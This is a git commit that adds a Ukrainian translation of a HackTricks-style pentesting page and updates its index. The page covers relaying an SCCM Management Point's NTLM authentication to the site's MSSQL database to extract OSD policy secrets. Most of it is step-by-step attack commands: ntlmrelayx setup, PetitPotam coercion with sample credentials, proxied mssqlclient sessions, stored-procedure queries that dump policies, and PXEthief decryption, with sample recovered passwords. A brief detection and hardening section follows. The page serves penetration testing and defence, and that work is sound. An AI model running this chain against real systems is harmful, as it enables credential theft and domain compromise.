Translated ['src/windows-hardening/active-directory-methodology/abusing-

This commit is contained in:
Translator 2025-07-22 08:30:56 +00:00
parent 7c936dd98d
commit 6b12ed4b17
3 changed files with 167 additions and 5 deletions

View File

@ -283,6 +283,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)

View File

@ -168,13 +168,13 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
```
Перевірте на сторінці, згаданій у **наступному розділі, як зробити це вручну.**
### MSSQL Основні Хакерські Трюки
### Основні трюки хакінгу MSSQL
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
## MSSQL Довірені Посилання
## Довірені посилання MSSQL
Якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо у користувача є привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.
@ -276,10 +276,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
```
## Підвищення локальних привілеїв
**MSSQL локальний користувач** зазвичай має спеціальний тип привілею, званий **`SeImpersonatePrivilege`**. Це дозволяє обліковому запису "вдаватись під клієнта після аутентифікації".
**MSSQL локальний користувач** зазвичай має спеціальний тип привілею, званий **`SeImpersonatePrivilege`**. Це дозволяє обліковому запису "вдаватись до клієнта після аутентифікації".
Стратегія, яку розробили багато авторів, полягає в тому, щоб змусити службу SYSTEM аутентифікуватись до зловмисної або атаки "людина посередині" служби, яку створює зловмисник. Ця зловмисна служба потім може вдаватися під службу SYSTEM, поки вона намагається аутентифікуватись.
Стратегія, яку розробили багато авторів, полягає в тому, щоб змусити службу SYSTEM аутентифікуватись до зловмисної або атаки "людина посередині" служби, яку створює зловмисник. Ця зловмисна служба потім може вдаватися до служби SYSTEM під час спроби аутентифікації.
[SweetPotato](https://github.com/CCob/SweetPotato) має колекцію цих різних технік, які можна виконати за допомогою команди `execute-assembly` Beacon.
[SweetPotato](https://github.com/CCob/SweetPotato) має колекцію цих різних технік, які можна виконати за допомогою команди `execute-assembly` Beacon.
### NTLM Relay для управлінської точки SCCM (витягування секретів OSD)
Дивіться, як стандартні SQL ролі **Управлінських Точок** SCCM можуть бути зловживані для виведення облікового запису доступу до мережі та секретів послідовності завдань безпосередньо з бази даних сайту:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,155 @@
# SCCM Management Point NTLM Relay to SQL OSD Policy Secret Extraction
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Шляхом примушення **System Center Configuration Manager (SCCM) Management Point (MP)** автентифікуватися через SMB/RPC та **пересилаючи** цей NTLM обліковий запис машини до **бази даних сайту (MSSQL)** ви отримуєте права `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Ці ролі дозволяють вам викликати набір збережених процедур, які відкривають **блоки політики розгортання операційної системи (OSD)** (облікові дані облікового запису доступу до мережі, змінні послідовності завдань тощо). Блоки закодовані в шістнадцятковому вигляді/зашифровані, але можуть бути декодовані та розшифровані за допомогою **PXEthief**, що дає вивід у вигляді відкритих секретів.
Високорівнева ланцюг:
1. Виявлення MP та бази даних сайту ↦ неавтентифікований HTTP кінець `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Запустіть `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Примусьте MP за допомогою **PetitPotam**, PrinterBug, DFSCoerce тощо.
4. Через SOCKS проксі підключіться з `mssqlclient.py -windows-auth` як пересланий **<DOMAIN>\\<MP-host>$** обліковий запис.
5. Виконайте:
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (або `MP_GetPolicyBodyAfterAuthorization`)
6. Видаліть `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
Секрети, такі як `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password` тощо, відновлюються без взаємодії з PXE або клієнтами.
---
## 1. Перерахування неавтентифікованих MP кінцевих точок
Розширення ISAPI MP **GetAuth.dll** відкриває кілька параметрів, які не вимагають автентифікації (якщо сайт не є лише PKI):
| Параметр | Призначення |
|-----------|---------|
| `MPKEYINFORMATIONMEDIA` | Повертає публічний ключ сертифіката підпису сайту + GUIDs *x86* / *x64* **Всі невідомі комп'ютери**. |
| `MPLIST` | Перераховує кожну точку управління на сайті. |
| `SITESIGNCERT` | Повертає сертифікат підпису основного сайту (ідентифікує сервер сайту без LDAP). |
Отримайте GUIDs, які будуть діяти як **clientID** для подальших запитів до бази даних:
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. Переслати обліковий запис машини MP до MSSQL
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
Коли примус спрацьовує, ви повинні побачити щось на зразок:
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. Визначте OSD політики через збережені процедури
Підключіться через SOCKS проксі (порт 1080 за замовчуванням):
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
Перейдіть до бази даних **CM_<SiteCode>** (використовуйте 3-значний код сайту, наприклад, `CM_001`).
### 3.1 Знайти GUID невідомих комп'ютерів (необов'язково)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 Список призначених політик
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Кожен рядок містить `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
Зосередьтеся на політиках:
* **NAAConfig** облікові дані облікового запису доступу до мережі
* **TS_Sequence** змінні послідовності завдань (OSDJoinAccount/Password)
* **CollectionSettings** може містити облікові записи для виконання
### 3.3 Отримати повне тіло
Якщо у вас вже є `PolicyID` та `PolicyVersion`, ви можете пропустити вимогу clientID, використовуючи:
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> ВАЖЛИВО: У SSMS збільшіть “Максимальна кількість символів, що отримуються” (>65535), інакше blob буде обрізано.
---
## 4. Декодуйте та розшифруйте blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Приклад відновлених секретів:
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. Відповідні ролі та процедури SQL
Після реле логін відображається на:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
Ці ролі відкривають десятки дозволів EXEC, ключові з яких, що використовуються в цій атаці, це:
| Збережена процедура | Призначення |
|---------------------|------------|
| `MP_GetMachinePolicyAssignments` | Перелік політик, застосованих до `clientID`. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Повертає повне тіло політики. |
| `MP_GetListOfMPsInSiteOSD` | Повертається шляхом `MPKEYINFORMATIONMEDIA`. |
Ви можете переглянути повний список за допомогою:
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Виявлення та зміцнення
1. **Моніторинг входів MP** будь-який комп'ютерний обліковий запис MP, що входить з IP, який не є його хостом ≈ реле.
2. Увімкніть **Розширений захист для аутентифікації (EPA)** у базі даних сайту (`PREVENT-14`).
3. Вимкніть невикористовуваний NTLM, примусьте підписування SMB, обмежте RPC (
ті ж заходи, що використовуються проти `PetitPotam`/`PrinterBug`).
4. Зміцніть комунікацію MP ↔ DB за допомогою IPSec / взаємного TLS.
---
## Дивіться також
* Основи реле NTLM:
{{#ref}}
../ntlm/README.md
{{#endref}}
* Зловживання MSSQL та пост-експлуатація:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## Посилання
- [Я б хотів поговорити з вашим менеджером: Крадіжка секретів за допомогою реле точок управління](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Менеджер неправильних налаштувань ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}